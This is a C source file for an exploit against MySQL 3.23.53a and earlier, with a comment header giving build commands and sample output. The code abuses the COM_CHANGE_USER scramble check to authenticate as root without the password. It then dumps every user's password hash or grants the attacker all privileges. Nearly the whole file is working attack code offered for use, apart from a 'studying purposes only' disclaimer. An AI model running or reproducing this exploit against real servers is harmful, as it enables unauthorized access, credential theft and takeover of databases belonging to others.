/***********************************************************
 * hoagie_mysql.c
 *
 * local and remote exploit for mysql <= 3.23.53a 
 *
 * new years present .... works also for 3.23.54 openbsd
 *			  (head) date 16/12/2002
 *
 * hey after some code checking and patching my mysql server
 * i relized, that this patch doesnt protect you against 
 * this vulnerability.
 * The length of the scramble string is important for the
 * password check and not the length of the password.
 *
 * perhaps other system are also still vulnerable
 *
 * gcc hoagie_mysql.c -o hoagie_mysql -lmysqlclient -I/usr/local/include -L/usr/local/lib/mysql
 *
 * Author: Andi <andi@void.at>
 *
 * Greetz to Greuff, philipp and the other hoagie-fellas :-)
 *
 * With this exploit you can also do that nasty things:
 *   http://void.at/andi/mysql.pdf
 *
 * $ ./hoagie_mysql -u dbuser -p dbpass
 * connecting to [localhost] as [dbpass] ... ok
 * sending one byte requests with user [root] ...
 *           root 13fb921913f4b3b1 
 *           root                  
 *           ...........
 *           ........
 * $
 *
 * If root or the attack user has no passwort set, this
 * exploit will fail -> thx to philipp
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY 
 * DAMAGE DONE USING THIS PROGRAM.
 *
 ************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <mysql/mysql.h>

int do_attack(MYSQL *mysql, char *attackuser);
void do_action(MYSQL *mysql, char *action, char *user);
char *strmov(register char *dst, register const char *src);

int main(int argc, char **argv) {
   MYSQL mysql;
   char optchar;
   char *target, *user, *password, *attackuser, *action;

   target = user = password = action = attackuser= NULL;

   while ( (optchar = getopt(argc, argv, "ht:u:p:a:e:")) != EOF ) {
       switch(optchar) { 
           case 'h': printf("hoagie_mysql.c\n");
                     printf("-t ... mysql server (default localhost)\n");
      		     printf("-u ... username (default empty)\n");
                     printf("-p ... password (default empty)\n");
                     printf("-a ... attack user (default root)\n");
                     printf("-e ... action\n");
                     printf("-h ... this screen\n");
                     exit(0);
           case 't': target = optarg;
                     break;
           case 'u': user = optarg;
                     break;
           case 'p': password = optarg;
                     break;
           case 'a': attackuser = optarg;
                     break;
           case 'e': action = optarg;
       }
   }

   if (!target) target = "localhost";
   if (!user) user = "";
   if (!password) password = "";
   if (!attackuser) attackuser = "root";
   if (!action) action = "dumpuser";

   printf("connecting to [%s] as [%s] ... ", target, user);
   fflush(stdin);

   if (!mysql_connect(&mysql, target, user, password)) {
       printf("failed\n");
       return 0;
   } else {
       printf("ok\n");
   }

   printf("sending one byte requests with user [%s] ... \n", attackuser);
   if (!do_attack(&mysql, attackuser)) {
       do_action(&mysql, action, user);
   } else {
       printf("attack failed\n");
   }
   mysql_close(&mysql);

   return 0;
}

int do_attack(MYSQL *mysql, char *attackuser) {
   char buff[512], *pos=buff, *attackpasswd = "A";
   int i, len, j, ret = 1;

   pos = (char*)strmov(pos,attackuser)+1;
   mysql->scramble_buff[1] = 0;
   pos = scramble(pos, mysql->scramble_buff, attackpasswd,
               (my_bool) (mysql->protocol_version == 9));
   pos = (char*)strmov(pos+1,"");
   len = pos-buff;

   for (j = 0; ret && j < 32; j++) {
       buff[5] = 65 + j; 
       ret = simple_command(mysql,COM_CHANGE_USER, buff,(uint)len,0);
   }

   return ret;
}

void do_action(MYSQL *mysql, char *action, char *user) {
   MYSQL_ROW row;
   MYSQL_RES *result;
   char buf[512];

   mysql_select_db(mysql, "mysql");

   if (!strcmp(action, "dumpuser")) {
      mysql_query(mysql, "select user, password, host from user");
      result = mysql_use_result(mysql);

      while ((row = mysql_fetch_row(result)))
          printf("%16s %16s %50s\n", row[0], row[1], row[2]);
      mysql_free_result(result);
   } else if (!strcmp(action, "becomeadmin")) {
      snprintf(buf, sizeof(buf) - 1,
               "update user set Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', "
               " Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', "
               " File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y' where "
               " user = '%s'", user);       
      mysql_query(mysql, buf);
      mysql_reload(mysql);
   } /* do whatever you want ... see mysql api ... // else if ( */
}

char *strmov(register char *dst, register const char *src)
{
	  while ((*dst++ = *src++)) ;
	    return dst-1;
}